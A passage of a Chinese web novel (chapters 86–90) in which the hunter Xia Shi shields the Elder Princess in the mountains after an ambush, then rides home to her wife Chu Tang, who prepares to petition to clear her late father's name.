长公主闻言眼中泛起了无奈,当然也没有怪罪夏时的意思:“无妨,昨夜情况特殊,能在这里躲上一夜已是不错了,不能怪你。” 夏时听了偷偷松口气,觉得长公主还是讲道理的。 不过天都亮了,长公主也不习惯待在树上,她还是得把人带下去的。 两人又小费了一点功夫从树上下来,夏时查看了一番地面情况,果然没见到刺客经过的痕迹。她放松下来,将这情况告诉了长公主。 长公主听罢也松开了眉眼:“昨夜既然没能追来,今日便也没什么危险了,你可放心。” 夏时不知道长公主如何得出的判断,不过对方既然这样说了,她自然也就信了。当下她眼睛就亮了起来,高兴的问道:“那咱们可以回京了吗?不然回别院去也行。” 经过一夜,夏时也想通了,既然有人敢在官道上埋伏公主,那些刺客未必不会在回京路上埋伏第二次。这时候她们急匆匆回京,可能就是羊入虎口。不过去温泉别院应该就没关系了吧,那地方挺偏僻的,距离京城也有些距离,应该没人会想到长公主往那边去。 她自以为想到了个好主意,心中也有几分期待,哪知长公主听后却是一口回绝了:“不行,温泉别院太远,赶过去没有意义。这两日你我就在这山中,哪儿也不去。” 夏时闻言有些惊讶,目光不由在长公主身上扫视一番——昨夜逃命匆忙,向来矜贵得体的长公主看上去也狼狈了不少。但即便如此,对方身上那种天潢贵胄的娇贵气也并没有消退,怎么看都不像是能在山野中待上几天的人。 见夏时如此反应,长公主眉头一蹙,周身气势立刻一变:“这是命令。” 夏时立刻怂了,蔫头耷脑:“那,那好吧,我给殿下找果子去,就当是早饭。” 长公主见唬住了小猎户,眉头微松,却不会在这荒野中放人离开,自己旋即也跟了上去。 …… 长公主遇袭的消息传到别院的时候,萧晏书正在与楚棠谈话,商议着之后的行动。事实上若非萧晏书在此,楚棠此时也根本不可能知道这个消息。 两人闻讯齐齐脸色大变,萧晏书忙问传信人:“殿下如何了,可曾受伤?” 传信人只摇头:“不知。殿下遇袭后逃入山中,暂且不知情况如何。”顿了顿,又补充道:“随行侍卫死伤惨重。” 此言一出,萧晏书便知情况惨烈,楚棠更是心头一沉——她很清楚夏时这次便是充作侍卫跟在长公主身边的,现在一句“死伤惨重”,焉知那“死伤”中有没有夏时? 她张口欲问,可话到嘴边又咽了回去,就这样一个传信人哪里知道夏时是谁? 可不弄清楚夏时情况,楚棠又实在是不安心,于是白着一张脸就往外跑。还是萧晏书眼疾手快一把拉住了她,问道:“你这是要做什么?”说完又压低声音:“现下可不是你露面的时机。” 楚棠向来是个冷静自持的人,但此刻却根本听不进劝,她脑子里乱糟糟的只有一个念头,那就是去找夏时——是死是活,她得知道个清楚! 87☆、第87章 ◎向君父讨宠的一点小手段罢了◎ 楚棠到底还是没能跑出别院亲自去寻夏时。 好在有萧晏书出面,很快弄到了死伤名单。拉出来一看,公主府的侍卫称得上是全军覆没,伤的都没死的多,但好在这名单里没有夏时。 楚棠见状当即放了心,又听说长公主是逃入了山林,当即就转过头来安慰萧晏书:“阿时猎户出身,最擅于山林中行事。有她护卫殿下安危,只要当时没被刺客追上,想必出不了什么大事。” 这话萧晏书还真信,毕竟死得干干脆脆的二皇子和六皇子就是现成的例子——夏时既然能在重重护卫之下,不动声色的把两个皇子干掉,那么逃入山林的她想要反杀那些刺客,应该也不是什么难事。不过她反倒不希望对方这么做,她只望夏时能护卫长公主安全便好。 两人心里都是这样想的,可有的时候理智不一定能代表全部。至少在长公主和夏时真正回来之前,楚棠和萧晏书的神经都不曾真正放松下来,连带着公主府和别院的气氛都格外凝重。 而彼时,夏时正在长公主的指挥下满山跑,过着半野人似得生活。 好在这样的日子没有持续太久,或者说老皇帝派出寻人的羽林实在不少。就在第三天下午,一队羽林终于寻到了躲在山间的长公主,而对方看到他们的第一反应,却是转身就逃。 领头的小队长正准备上前见礼呢,见到这场景当即一愣,好在身边同伴及时推了他一把:“头,咱们赶紧追上去啊,免得长公主又跑不见了,到时候还得满山去寻。” 小队长立刻回神,一边招呼同伴一边迈步追了上去:“对对对,快追!” 羽林是护卫帝王的禁卫,都是从军队中精挑细选出的精兵,他们追起来自然不是个养尊处优的公主能够逃得掉的。但不巧的是长公主刚跑没几步,正好就遇到了捧着果子回来的夏时,她二话不说拉着人就跑。夏时懵懵懂懂就跟了上去,带回来的果子落了一地。 跑出几步,夏时猛的反应过来,长公主这反应不会是又有刺客追来了吧?! 想到此,她干脆弯腰往前一蹿,在长公主反应过来之前就再次把人扛在了肩膀上。长公主想要喊停都来不及,就感觉耳边风声猎猎,四周景物飞快后退。 她有点后悔了,早知道就该给夏时点暗示,可现在说什么都迟了。她勉力抬头望了望身后,却见那一队羽林正追在两人身后拔足狂奔,只是这些军中好手显然也不如猎户熟悉山林,追着追着就跟不上夏时的速度,渐渐落在了后面。 不会真把人甩掉了吧?! 长公主面露无奈,可事已至此她再做什么都不合适。不过坑着她的夏时毕竟是个女郎,多跑一阵应该就会渐渐感到吃力,从而放慢速度吧? 而事实证明,夏时的耐力相当可以,她扛着长公主跑了足足两刻钟都没停。倒是被她扛着的长公主终于撑不住了,用力拍了拍夏时的后背示意她停下,然后再一次在落地之后跑去一旁的树后吐了出来……讲真,公主殿下从来没遭过这样的罪,偏还怪不了人。 夏时有些讪讪,这一次摸遍了全身也没摸出水囊来——带来的水囊她灌满水后就交给了长公主,不过看这情况对方应该是没带上,遗落在山中了。 这就有点尴尬了,夏时左右看看,忽的耳朵一动听到些水声,于是说道:“殿下您先在这儿等等,我去给您寻水。” 长公主吐完正狼狈,闻言却摆摆手拒绝了。 不过也不必她解释,夏时那过人的耳力很快又听到了不属于山中的动静。她猛的回过头去,就见身后几个羽林气喘吁吁的拨开挡路杂草,露出了那一身熟悉的装扮。 夏时在猎场见过羽林装扮,自然认得出来者身份,之前也是没看清情况就扛着长公主跑了,此刻才发现身后追着的人居然是羽林,那她们还跑什么? 夏时不解,但夏时听话,长公主的判断也被她当成了自己的判断。 于是眼中疑惑只一闪而过,夏时很快抽出了腰间佩刀,面对羽林摆出了攻击的架势。 追人追得快吐出来的几个羽林见状也愣了,不过夏时身上的装扮他们也认得,再加上长公主就在一旁,自然清楚双方并非敌对。于是立刻有人喘着气喊道:“别,别动手,我们,我们是羽林,奉,奉陛下之命,前来,前来寻找长公主。” 夏时闻言一顿,又扭头去看一旁的长公主。后者全无往日威严模样,背靠着大树一脸的狼狈,而她看向羽林们的目光却透着警惕:“我不认识你们。” 羽林们闻言哑然,八千羽林,长公主又能认识几个? 不过看长公主这警惕的模样,羽林们心中也有了些计较,当即便有人掏出了身份令牌:“殿下,我等当真,当真是羽林,以此为证。” 长公主却看也没看那令牌一眼,撑着身子站起来后,又躲在了小侍卫身后。 羽林虽是军队,但禁军的身份多少有些不同,这些人对事态的敏感程度也不是寻常士兵能比的。见到长公主一而再的防备,众人心中几乎都生出了同样的念头——长公主为何不信羽林?难不成是因为之前她信过,结果却发现被骗了? 几人不由对视一眼,不管是谁骗过长公主,陛下可从未下令对她不利啊。 *********************************************************** 长公主在找到她的羽林们面前演了一出戏。虽然事出突然演技也算不上绝佳,但好在小侍卫足够真情实感,甚至还和几个羽林打了一架见了血。 最后长公主“无奈”叫停,两人才不得不跟随着人多势众的羽林们下山。 人找到了,消息自然第一时间传回了行宫,连带着长公主看到羽林后的反应也一并传入了老皇帝耳中。而心思深沉的帝王,想的只会比那几个羽林更多。 长公主是半下午出的山,入夜时就快马加鞭的赶到了行宫。 她既没梳洗,也没更衣,第一时间就冲到了老皇帝的寝宫。可真等老皇帝通传召见了,她见到人既没告状,也没诉苦,只是眉眼一松,然后身形一晃就倒了下去。 老皇帝都吓了一跳,下意识就伸手去扶,可却慢了一步,长公主结结实实摔在了地上。 这翻变故谁都没想到,老皇帝反应过来赶忙喊道:“快,快把人扶起来,再去叫太医来。” 宫人们赶紧七手八脚的把人抬起来,又去请了太医来诊治。所幸最近行宫不甚太平,太医也离得进,很快便领着药箱赶了过来。 行礼过后,老皇帝立刻摆摆手:“快给安平看看,她这是怎么了?” 太医领命去了临时安置长公主的小榻旁,抬眼一看都惊了一下,向来矜贵端庄的长公主,何曾有过这般狼狈模样?不过他也不敢多看,连忙垂眸探脉,结果手指搭上脉门一看,表情又微妙起来——他要是没诊断错,长公主这是疲惫交加,再加上久未饮食,饿晕的。 老皇帝正盯着他呢,自然没错过太医的表情变化,不由皱了皱眉:“到底怎么了,说。” 太医便只好如实说了:“殿下这是连日疲惫,再加上久未进食……饿晕的。” 此言一出,满殿寂静,就连老皇帝脸上都不由带出了几分诧异来——别的不说,出身天潢贵胄的帝王,他这辈子都没体会过饥饿的滋味儿,就更别提饿晕了。亏他还以为安平是看到他之后心弦放松,身体一下子支撑不住才晕倒的。 不过话又说回来,饿晕这样的结果放在长公主身上,好像比什么心弦放松更让人觉得心酸。 老皇帝对待这女儿向来是面子情,但此时此刻也不由生出了几分心软来。他冲太医摆摆手:“罢了,你先退下吧,是药三分毒,既然没病也不必用药了。”说完又冲身边宫人吩咐:“令御膳房备些汤水稀粥,待公主醒了,就让她赶紧吃了。” 太医默默退下,宫人也领命而去,殿中好像*一下子清净了下来。 老皇帝看了眼小榻上狼狈的女儿,又吩咐宫人伺候她梳洗,自己反倒走出了寝宫。 内侍总管跟在他身边,走出宫殿看着茫茫夜色,就听年迈的帝王忽然问道:“梁忠你说,安平到底是真吃了这样的苦头,还是做给朕看的?” 这话梁忠自然不敢接,只陪着笑说道:“殿下是个有成算的人,即便期盼君父怜惜,想必也不会以身做筹码。” 说的就不是长公主饿晕的事了,指的是之前那场刺杀——长公主失落山中这几日,刑部和大理寺也没闲着,着实调查出不少线索。梁忠跟在皇帝身边,不仅将这些都听了个全,同时也将帝王的反应看在了眼里。 至少现在看来,这场刺杀并非长公主自导自演,而皇帝心中也早有了判断。在此基础之上,今日长公主就算是在做戏,也不过是向君父讨宠的一点小手段罢了,根本无伤大雅。 更重要的还是之前羽林的禀报,是否真有人冒充过羽林之名?或者是真有羽林冲长公主下了手? 若是前者,那便是有人胆大包天,胆敢冒充禁军相当于欺君。若是后者更遭,那就是有人将手伸入了禁军,往大了说甚至是威胁了帝王安危。这才是真正的捋了虎须,触了皇帝逆鳞。 88☆、第88章 ◎想骂夏时莽撞,但到底舍不得◎ 长公主如何在皇帝面前施展,是她自己的谋划,夏时不清楚也不感兴趣。 随长公主再次回到行宫之后,她也再次被安置在了长公主寝殿附近的偏房里。这里原是长公主侍从们的居所,原本还有几分拥挤,这一来一回走了一趟,屋子便彻底空了下来。 所幸长公主的侍从虽然死伤惨重,但行宫中总不缺宫人做事。 夏时回到房间后不久,便有宫人送来了伤药——事到如今她当然也想明白了,在山中时她们并不曾遇到假羽林,但长公主却那般作态,必是有所图谋。自己为了保护对方而和羽林打的那一场,却是帮长公主坐实了这事,就是可惜自己还不够厉害,在羽林的围攻之下还是受了伤。 她叹了口气,不去想这伤受得值不值,伸手撩开了衣袖,便露出了右手手腕上方一道草草包扎的伤口。这伤有点深,对方倒没想杀她,却是冲着解除她武器来的。 夏时试探着动了动手指,所幸还都灵敏,应是没伤到经脉。于是她便也放了心,并不打算给长公主添乱,自己解开绷带给伤口上了药,重新包扎好之后,便觉一股疲惫猛地席卷而来。 是了,在山中待了三日,她虽不似长公主般处处不适应,但需时时护着对方也是十分耗费心神的。 现在好了,重新回到行宫别的不说,至少不可能再从哪儿冒出个刺客来顶风作案。至于该如何应对皇帝,该如何利用这翻遭遇牟利,便都是长公主自己的事了。她即帮不上忙,也没那个心思,索性好好休息一回……一念及此,夏时只觉眼皮沉重,连洗漱都顾不得就倒头睡了过去。 夏时这一睡就是一天,醒来时外间日头都有些偏西了。 不过这一夜好眠也是卓有成效,再次醒来的夏时又恢复了精神,收拾收拾自己又给伤口换了药,这才摸着饥肠辘辘的肚子打算出门寻些吃的。 “吱呀”一声,房门打开,夏时抬眼就见门口候着个宫人,看样子等了挺久。 对方倒是不骄不躁,见她开门便上前微行一礼:“夏侍卫你终于醒了,殿下令我等候在此。”说着手一往上一提,居然拎着只不小的食盒:“这是殿下赏赐与你的。” 夏时抬了下眉,伸手便将食盒接了过来:“那便谢殿下赏赐了。” 宫人送完东西却没离开,而是继续说道:“此番殿下遭难,短时间内恐怕不会归京了。殿下吩咐若你在行宫待得不习惯,也可先行回京养伤。” 夏时刚开始神色淡淡,似乎不觉得得到长公主赏赐乃至赏识有什么了不起的。但听到可以回京养伤,她眼睛一下就亮了,整个人也明显兴奋了起来:“真的吗?那我什么时候可以走?现在就出发的话,殿下可以借匹马给我吗?” 传话宫人:“……” 这宫人虽是新调到长公主身边服侍的,但她也在宫中摸爬滚打许多年了,就没见过这么不会抓住机会的人——她可是刚救过长公主,还和长公主共患难了好几日,不抓住这个机会在殿下面前多多露面,等回头殿下哪还记得她是谁?! 宫人满心的一言难尽,但双方并没有交情,她自然也不会交浅言深。只是抬头看了看天色,劝了一句:“殿下自然不缺马。可现下快到申时了,你便是即刻出发也赶不上关城门,还是明日再走吧。” 夏时哪顾得上关城门的问题,她根本也没想回京:“无妨,家中有人等我,我实在归心似箭。” 宫人闻言便也不好再劝了,当真带着夏时去取了马。期间夏时满心欢喜加懊恼,只后悔今日起迟了,不然早就启程回去了。以至于手中的食盒都被她忘记了。 一刻钟后,夏时一手持缰,一手拎着食盒,骑着马离开了行宫。 ******************************************************** 夏时是走到半道才被饥饿提醒,打开了宫人送来的食盒。 有这几日相处,长公主大概也对她生出了几分了解,早猜到她听到传话后的迫不及待,因此食盒里装着的并不是碗碟,而是一包包用油纸打包好的食物。三层的食盒,第一层里装了肉食干粮,第二层里装着糕点果子,都做得喷香扑鼻不说,分量也足够成年人吃上一天的。 夏时正饿着,随手便往嘴里塞了块肉,又打开第三层食盒去看。这一看却是一愣,因为第三层食盒里装着的并不是食物,而是满满一盘金裸子,难怪这食盒拎着这般压手。 当然,这点金子对于长公主来说并不算什么,也不足以奖赏夏时此番的功劳。或许对方就是顺手送她点钱,让她能够买些东西回家送老婆。不过夏时从前是真没拥有过这么多金子——老婆有的不算——当下捧着食盒也是乐呵呵的,已经开始畅想要买什么东西给楚棠当礼物了。 就这样,夏时带着长公主为她准备的食物和金子,一路驰骋回了京城。 事实也如那宫人提醒的一般,因为出发时间太晚,哪怕夏时一路快马加鞭,天黑时她也只走到了半途。不过没关系,她一个人赶路根本不需要讲究什么,天黑之后照样赶路。 如是日夜兼程,直到凌晨时分,她终于回到了熟悉的温泉别院。 趁夜叩开了别院大门,索性之前在这里几个月也不是白待的,别院的门房倒也认得她,嘀咕几句就放她进门了,还帮她把马牵去了后院马厩。 夏时冲对方道了谢,然后便高高兴兴回去自己和楚棠居住的客院。 时间这么晚了,客院里自然是一片漆黑,或者说整个别院都是一片漆黑。所有人都已经入睡了,不过也不妨碍夏时回家。她走到卧房前轻轻推了推房门,不出所料门从里面被拴上了。 夏时也没有叩门饶人清梦,她熟门熟路的绕着屋子转了一圈,很快就在屋后找到了一扇半开的窗户——时值盛夏,正是最炎热的时候,半夜里不开窗户是真闷热得睡不着觉。不过这窗户现在倒是方便了夏时,她轻轻将窗户推得大开,然后撑着窗台轻巧一跃,便径自跳入了房中。 小猎户的动作灵敏又轻巧,在山中狩猎时甚至能躲过野兽的耳目,此刻自然也不会惊醒屋中熟睡的人。她轻手轻脚进了屋,又轻手轻脚走到了床边,借着从窗户透进来的夜色,看清了床上人沉睡的面容。 楚棠正闭目沉睡,眉头轻蹙着,像是睡梦中都带着几分愁绪。 夏时不知她在愁些什么,但看到楚棠睡着后这般表情,还是忍不住有些心疼。再加上分别这些时日,她着实是有些想她了,于是忍不住微微倾身上前,在楚棠眉心落下一吻。 很轻的一个吻,便如蜻蜓点水一般。 夏时原以为这样的动作不会打扰到对方的,哪知楚棠看着像是睡得很沉,实际却睡得并不安稳。以至于这一点小小的风吹草动,也立刻将人惊醒了。 黑暗中,楚棠蓦地睁开眼眸,一眼就看到了床边漆黑的人影。 她先是一惊,心跳猛跳了几下,但旋即便从那熟悉的轮廓中认出了来人身份。于是那惊吓立刻就变成了惊喜,楚棠想也没想就伸开双手直接抱住了眼前人的脖颈。 熟悉的气息涌入鼻息,楚棠提了几日的心终于彻底放下,她将人紧紧抱着:“阿时。” 夏时伸手回抱住了她,将连埋在她颈侧,贪婪的呼吸着楚棠身上熟悉的幽香。她闷闷应了一声:“嗯,是我,我回来了。”顿了顿又道:“我好想你。” 楚棠也想她,很想很想,两人相识至今这是最长久的一次分离。光分别还不止,夏时跟在长公主身边又遭遇了那样的凶险,楚棠这些天当真是一颗心都牵挂在了对方身上。现下久别重逢,她抱着夏时的力道一点也不比对方小,用力的回应着对方的思念:“我也想你了。” 两人就这样拥抱了好一阵,那重逢的喜悦才渐渐缓和了下来。楚棠依旧舍不得松手,身体却是往床里面挪了挪,给夏时让出位置来。 夏时也不犹豫,自觉翻身躺在了楚棠身边,床榻上属于对方的气息瞬间将她包裹。 楚棠靠在她肩头,这时才开口问道:“我听说前两日长公主遇袭,随行侍卫死伤惨重,你跟在殿下身边没事吧?还有这大晚上的,你怎么这时候回来了?” 夏时抱着老婆只觉身心都放松了下来,闻言便缓缓将这几日的遭遇都与对方说了,最后才道:“我早就想回来了,只是跟在长公主身边一直走不了。今日长公主传话许我回京养伤,我一刻都等不了,骑着马就跑回来了。好在行宫也不太远,也就半天时间我就回来了,可比跟着大队人马快多了。” 她喜滋滋的,只想着回来看到了老婆,想和对方分享重逢的喜悦。却不知楚棠早被她的讲述说得心惊胆战,尤其听说她手被羽林刺伤了,当下更是坐不住。 楚棠再顾不得和夏时腻歪,一下子翻身坐起,然后从夏时身上翻出去点燃了烛火。 夏时已经习惯了黑暗,被这火光晃得眯了眯眼,还没明白过来楚棠的着急:“怎么了,点灯做什么?” 楚棠返回床边将她拉了起来,一把掀开她的衣袖,果然看到夏时手上的绷带染了血。她抿了抿唇,很想骂夏时莽撞,但到底舍不得,只好点着她脑袋轻推了一下:“你就不知道疼吗?!” 夏时“嘿嘿”笑了两声,一把抱住老婆纤腰,仰头双眼亮晶晶看她:“不疼,我想你了嘛。” 89☆、第89章 ◎反省到要笑出来了对吧◎ 夏时没有说假话,她当猎户受伤是家常便饭,手臂上的伤口虽深,却并没有太大的妨碍。再加上长公主给她送的药也是极好的皇室秘药,她用上之后镇痛的效果不错,是真没怎么疼。 这话她也和楚棠说了,但老婆显然还是心疼的。 楚棠打来热水,重新帮她清洗了伤口再上了药,末了一边缠绷带一边叮嘱:“好了,这下别再乱动了。长公主给的药都是极好的,你安安分分养几日伤,等伤口结痂恢复了,再用这只手。” 夏时乖乖坐着任她施为,一双眼睛望着楚棠在烛光照耀下的侧脸,一刻也舍不得移开。不过对方的话她也听到了,却没有像往常一样立刻答应,而是想了想说道:“我伤的是右手,你不许我用的话,明日洗漱吃饭,我怕光用左手会不方便。” 楚棠似乎从这话中听出了些小心思,她有些好笑,但也乐得配合,于是回道:“无妨。不过是洗漱吃饭罢了,明日起我帮你拧帕子,喂你吃饭。” 夏时果然意动,却仍没有松口,而是继续道:“那沐浴呢?” 楚棠闻言脸红了一下,可她俩什么没经历过,便也大大方方应承:“自然是我帮你。” 夏时听得眉眼一弯,活像是占到什么便宜似得,笑眯眯说道:“好啊,那今后几日就劳烦阿棠了。”说话间挨挨蹭蹭挪到了楚棠身边,又在她耳边故意压低了声音继续道:“不过洗漱吃饭可以帮忙,但有的事好像不太行。” 楚棠只觉一股热气扑到耳边,熏得她耳朵也有点发烫,闻言蹙了蹙眉:“你还有什么事这么急,连这几天都等不了?” 夏时不语,却趁着这贴近的机会,忽的张嘴含住了楚棠的耳垂。她也不用力,只拿牙齿在那软肉上轻轻磨了下,紧接着便是温热的舌尖舔了上去。 楚棠只觉一股酥麻之意从耳朵一路传到了心里,生生打了个激灵,这下还有什么不明白的。 说实话,两人之前生活还挺和谐,又是年轻情热的时候。除了逃命那一路没怎么亲近之外,即便是在别院里各自忙碌的日子,夜里两人也没少相互取暖。可这次楚棠觉得不太行,她抵着夏时的肩膀稍稍用力,后者顿了顿还是顺从的退开了些许。 夏时深吸一口气,可怜巴巴望着她:“不行吗?” 楚棠想伸手遮住那双眼睛,明明是在装可怜,但眼神像是要把她吃了。但也只是这样一个眼神,楚棠就被撩拨起了情绪,再开口时嗓音都有些不对了:“不行,等你手好了再说。” 夏时一顿,低头看了看自己刚包扎好的手,忽然有些后悔当时和人对战没有更加小心保护自己了。可现在说这个也迟了,老婆肯定也不会听她狡辩,沉吟片刻后伸出左手说道:“其实我左手也挺灵活的,不需要你明天帮我拧帕子喂饭,阿棠你信我。” 楚棠:“……” 楚棠看着夏时这努力证明自己的样子只觉得好笑,她也没忍住当真笑了出来。而这一笑,之前的那点旖旎气氛也被破坏了个干净——至少楚棠是这样觉得的。 她没了旁的心思,也变得泰然起来,摇摇头站起身道:“好了,我去把这水倒了。今日你赶路也累了,还是早些上床休息吧,再折腾下去天都该亮了。” 说完楚棠就准备去端水盆,结果脚刚抬起来,眼前便有人影一晃。待她反应过来已经被夏时扛在了左肩上,接着三两步走回床边,又被一把扔在了床榻上。好在别院的床足够软,楚棠倒也没有摔疼,立刻撑起身子不满的喊了声:“你做什么……” 话还没说完就被人堵了嘴,这回是她被人推着肩膀按在了床上。 至于那盆没来得及倒的水,放到明日再说又有何妨? ******************************************************* 楚棠一语成谶,两人当真是折腾到天亮才睡的。 所幸温泉别院本身并不是什么重要的地方,两人更不属于长公主府,在这里也是个边缘人物。没人来打扰她们,也没有必要的事需要她们处置,因此一觉睡到晌午也没什么关系。 当然,早饭是错过了,等两人洗漱完,正好饥肠辘辘的迎接午饭。 楚棠显然还记着昨夜夏时的嘴硬,今早起来果然不曾帮忙,看着夏时自己手忙脚乱的收拾洗漱。等到午饭送来,她将饭碗放在夏时面前,也根本没有帮忙喂饭的意思。 夏时委委屈屈,也不敢提昨晚楚棠答应喂饭的事,伸出右手去拿筷子。结果还没等碰到筷子就被老婆在手背上敲了一下:“老实点,说好的右手不能用,乖乖养你的伤。” 楚棠的力气不大,筷子敲在夏时手背上也不疼,但夏时还是飞快的缩回了手,活像是个被老婆管教的妻管严。不过她也没什么可说的,谁叫她昨晚不听话压到伤口,今早入睡前还被老婆拉着重新换了回药,现在根本没底气在楚棠面前辩解。 好在她大事上从不骗老婆,比如她虽然惯用右手,但左手也是真的灵活。当下换了左手拿筷子,适应了片刻之后,也果真能夹得了菜,就是吃饭的速度慢些。 楚棠原本有些生气,自顾自吃着自己的饭。她倒也没打算真饿着夏时,只想着晾一晾她,等自己吃饱了再喂对方也不迟。哪知一眼瞥过去,这人用左手吃饭还吃得挺香,碗里米饭消失的速度比她还快,真是半点没亏待自己。 看着看着,楚棠的气也消了,倒是生出几分好奇来:“你左手当真这般灵活?” 夏时从饭碗中抬起头,看着她眨了眨眼,像是再说:我左手灵不灵活你还不知道吗? 两人太有默契就是这点不好,夏时一个眼神,楚棠就读懂了她想说什么,耳根也不由一烫。所幸今日起得迟,长发只是简单挽起,垂落的发丝堪堪遮住了她发红的耳朵。楚棠便当做什么都没看到,继续说道:“你筷子拿得挺稳啊,昨天还想骗我给你喂饭。” 夏时闻言又眨了眨眼,这次就是有点心虚了——虽然大事上她从不骗老婆,可想让老婆照顾喂饭什么的,只能说是妻妻之间的情趣,又哪里算得上是欺骗呢? 心里这样说服了自己,夏时便也一副若无其事的样子回道:“哦,我右手从前也受过伤,用左手吃饭也吃过好一阵。可怜那时我又没老婆,当然也没人喂我。” 楚棠闻言倒真仔细想了想。两人做了妻妻,坦诚相待的时候并不少,夏时身上有什么伤痕她也全都看过。仔细回想起来,夏时右手上确实有几道疤,不过这人体质好,恢复能力不错,身上的伤疤都很浅淡,也看不出当初受伤时可能的狰狞模样。 夏时右手上那几道疤就很浅,楚棠便也没太在意,随口问道:“那又是怎么伤的?” 她问得随意,夏时回得就更随意了:“也没什么,就是那时我爹刚死,我一个人进山打猎不小心遇到了熊,被抓了一下。好在我跑得快,后来没被追上,也没什么事。” 楚棠听得手一抖,筷子都落在桌上了,睁大眼不可置信的看向夏时——被熊抓了还叫没什么事,这人到底心大到了什么地步? 不过换个角度来说,被熊抓伤夏时都不在意了,她对如今受的伤也是真不在意吧? 当然,不管夏时自己在不在意,反正有人替她在意。楚棠这饭是再也吃不下去了,她放下筷子摆正了表情,一脸严肃的冲着夏时说道:“你刚说得没错,你那时没老婆,什么都没人管。不过现在你有了,你想着要我喂饭,怎么就没想着不让自己受伤呢?” 夏时对上楚棠的目光,蓦地感到几分心虚,小小声为自己辩解:“我,我又不是故意的。当时,当时是长公主在演戏,我为了保护她才不小心受的伤。” 楚棠点头,没有反驳这话,却道:“那之后呢,你又在折腾些什么?” 夏时这次是真被训的垂下了头,不敢吱声了——不论是连夜骑马跑回来,还是昨夜拉着楚棠胡来,归根结底都是她没将自己的伤放在心上。她自己不觉得这点伤有什么了不起的,被楚棠叮嘱也不放在心上,却忘了现在已经有人会为她心疼了。 表面上夏时被训得蔫头耷脑,实际上她心里有点暖,还有点甜。 楚棠说完话正等着夏时反应呢,左等右等觉得有些不对,伸手托起夏时下巴一看,就见她眼底还藏着笑……闹了半天自己又是对牛弹琴是吧?楚棠这次是真生气了。 夏时见状赶忙扑过去一把将人抱住,然后不顾对方挣扎,不要脸的贴在楚棠颈边蹭了又蹭,活像是只冲着主人撒娇的大狗:“阿棠你别生气,我没有不听你的话。我有好好反省,真的。” 楚棠一边按着她脑袋往旁边推,一边嗤笑:“是啊,反省到要笑出来了对吧?” 夏时真笑出来了,然后赶在老婆更生气之前,及时开口解释:“我不是觉得你的话好笑,我是高兴。你看我受伤会心疼我,你训我也是因为心疼我,我自然是该高兴的。” 楚棠听了却一点没消气,推夏时的力气更大了:“你知道还不听话,那就活该我白白心疼是吧?” 夏时努力贴在楚棠身上,不让自己被推开:“唔,没有,我听话的。以后都不会了,以后我都听你的。” 90☆、第90章 ◎那如果是我偏要去做呢◎ 小两口待在一起,日常就是黏黏糊糊吵吵闹闹。哪怕夏时并不是多善于言辞的人,但面对楚棠,她也总是有办法将人哄回来的。 只可惜这样闲适的日子并没能过上几天,别院里便又来了不速之客。 当然,是夏时单方面觉得的不速之客。萧晏书的再次到来虽然让人意外,但她身为长公主的幕僚,出现在长公主的别院里却是比夏时和楚棠更名正言顺的事。 萧晏书此行也是有正事的,见到两人后也没耽搁,目光直接落在了楚棠身上:“时间差不多了,你可想好了?”说着顿了顿,又继续:“事到如今,你其实也不必冒险的。” 楚棠知道她的意思,事到如今当初害她楚家的幕后黑手是谁,已经不言而喻了——五皇子因查案而死,害他的人自然和楚尚书的案子脱不开干系。寻常人多半会以为是二皇子下的手,可事实上真正动手的人却是六皇子,细细算来,五年前他也不过十一二岁。 而如今六皇子已经死在了夏时手下,算来不仅是为五皇子报了仇,也是为楚尚书报了仇。又因为夏时直接解决了祸首的缘故,早先准备的那些证据便都没用得上。 在萧晏书看来,事情到这里其实已经达成了大半目的,而楚棠这时候露面呈上证据翻案,即便是成功了,罪魁祸首也已经伏诛,根本没办法再行惩处。单纯翻案的话可以等今后,等长公主地位稳固大权在握,乃至于登临帝位再做也不迟,实在没必要现在冒险。 可楚棠不这样想,她缓缓摇头:“这不是冒险,这是我必须要做的事。我父尽忠职守,不可让他带着污名埋骨地下,若如此我无颜见他。而在我父之外,还更多的人需要一个公道。” 萧晏书闻言哑然,时至今日那一拨拨派往江南查探的人,终究还是有人带着查到的情报回来了。虽然没多少切实可用的证据,但被翻出来的过往,却也是一桩血淋淋的旧案。那不是一两个人的冤屈,甚至不是一两百人的鲜血,谁也无法忽视那些曾经存在过的生命。 谈话的气氛严肃到压抑,但偏偏旁听的夏时没能听懂两人的对话。她不知道楚棠在坚持些什么,但她听到了萧晏书说的“冒险”。 小猎户不懂太多的国仇家恨,她只担心自己的妻子会陷入险境,于是牢牢抓住了楚棠的手:“你们要做什么?有危险吗?你能不能不要去冒险?” 楚棠伸手在她脑袋上揉了一把,眉眼少了锋锐,变得柔软起来:“没什么,我只是要做我该做的事。”说完怕夏时多想,便继续道:“我父亲蒙冤而死,我得替他讨回公道对不对?” 这话夏时没法反驳,但小猎户也并不傻。她帮长公主解决了二皇子和六皇子,对方给出的理由就是替五皇子报仇,而五皇子之死的导火索正是楚尚书的案子。倒推过来,二皇子和六皇子大抵也是害死楚尚书的罪魁祸首,她杀了两人也就是报过了仇。 夏时这样想的,也是这样说的:“可是咱们的仇已经报了,你又为什么还要为这事冒险呢?” 她听到了刚才楚棠关于名誉的回答,可作为一个书都没读过几本的小猎户,夏时实在不明白这所谓的名誉难道比切实的安危更重要吗? 黝黑的眸子里满满都是不解,楚棠想要解释,却又觉得同样的答案再说一遍没有意义。于是她抬手抚上夏时的脸,执拗道:“那如果是我偏要去做呢?” 夏时脸颊鼓了鼓,却是暗中咬紧了牙关,半晌后无奈妥协:“那,那就听你的吧。” 萧晏书眼看着小两□□流完,也知道了楚棠坚定的选择,便不多劝了:“既如此,你就去吧,捅破了天大不了让殿下帮你补。” 楚棠眉眼一松,低低道了声:“多谢。” 夏时见状忙插嘴道:“阿棠去哪儿,我也要去。” 萧晏书瞥她一眼:“你就养你的伤吧,跟去做什么?难不成你还能去劫狱?” 夏时一听险些炸毛:“怎么就劫狱了?阿棠跟你走是要去坐牢?!” 萧晏书可看不惯夏时了,这家伙从第一次见她就没个好脸色,前些日子还和长公主一起在山中待了好几日。她心气有些不平,正想趁机呛她两句,却见楚棠迅速将人拉走了。 然后楚棠熟练的一通顺毛,也不知她是怎么和夏时说的,竟正将那炸毛狗子给哄好了。 *************************************************************** 作为皇权中心,老皇帝离京避暑之后,大半个朝堂都随他一起去了行宫。京城的奏报,各地的奏疏,都转而送去了避暑行宫,京中留守的也不过是些基层小官罢了。 这种情况下,要替曾经的尚书翻案,还是牵涉谋逆的大案,自然就不是寻常衙门官吏能管的了。 